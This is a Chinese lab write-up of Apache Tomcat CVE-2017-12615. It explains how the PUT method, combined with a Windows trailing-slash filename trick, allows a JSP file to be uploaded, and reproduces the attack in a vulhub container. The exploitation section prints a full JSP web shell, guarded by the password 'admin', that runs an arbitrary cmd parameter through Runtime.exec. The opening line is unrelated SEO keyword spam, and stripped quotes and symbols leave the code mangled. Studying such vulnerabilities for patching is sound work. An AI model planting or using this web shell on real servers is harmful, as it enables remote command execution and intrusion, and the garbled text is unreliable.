网站描述标签优化,南京网站开发南京乐识正规,法治建设网站作用,ui是什么意思漏洞简介
2017年9月19日#xff0c;Apache Tomcat官方确认并修复了两个高危漏洞#xff0c;漏洞CVE编号#xff1a;CVE-2017-12615和CVE-2017-12616#xff0c;其中 远程代码执行漏洞#xff08;CVE-2017-12615#xff09; 当 Tomcat 运行在 Windows 主机上#xff0c;…漏洞简介
2017年9月19日Apache Tomcat官方确认并修复了两个高危漏洞漏洞CVE编号CVE-2017-12615和CVE-2017-12616其中 远程代码执行漏洞CVE-2017-12615 当 Tomcat 运行在 Windows 主机上且启用了 HTTP PUT 请求方法例如将 readonly 初始化参数由默认值设置为 false攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后JSP 文件中的代码将能被服务器执行。
漏洞原理
org.apache.jasper.servlet.JspServlet默认处理jspjspx文件请求不存在PUT上传逻辑无法处理PUT请求 org.apache.catalina.servlets.DefaultServlet默认处理静态文件除jspjspx之外的文件存在PUT上传处理逻辑可以处理PUT请求。 所以即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件因为这些这些后缀的文件都是交由JspServlet处理的它没法处理PUT请求。 但是当利用Windows特性绕过文件名检测机制时tomcat并不认为其是jsp文件从而交由DefaultServlet处理从而成功创建jsp文件
影响版本
Apache Tomcat 7.0.0 - 7.0.797.0.81修复不完全
漏洞复现
环境搭建
cd /vulhub/tomcat/CVE-2017-12615
docker-compose up -d漏洞验证
原始数据包如下 将GET修改为PUT并填写内容这里解析没成功改成了/1.jsp/ 进入容器发现上传成功 若从浏览器访问返回Hello则证明漏洞存在
漏洞利用
将exp写入jsp并上传
% page languagejava contentTypetext/html; charsetGBKpageEncodingUTF-8%
!DOCTYPE html PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd
htmlheadmeta http-equivContent-Type contenttext/html; charsetUTF-8title一句话木马/title/headbody%if (admin.equals(request.getParameter(pwd))) {java.io.InputStream input Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream();int len -1;byte[] bytes new byte[4092];out.print(pre);while ((len input.read(bytes)) ! -1) {out.println(new String(bytes, GBK));}out.print(/pre);}%/body
/html 访问即可命令执行
修复建议
升级版本 开启readonly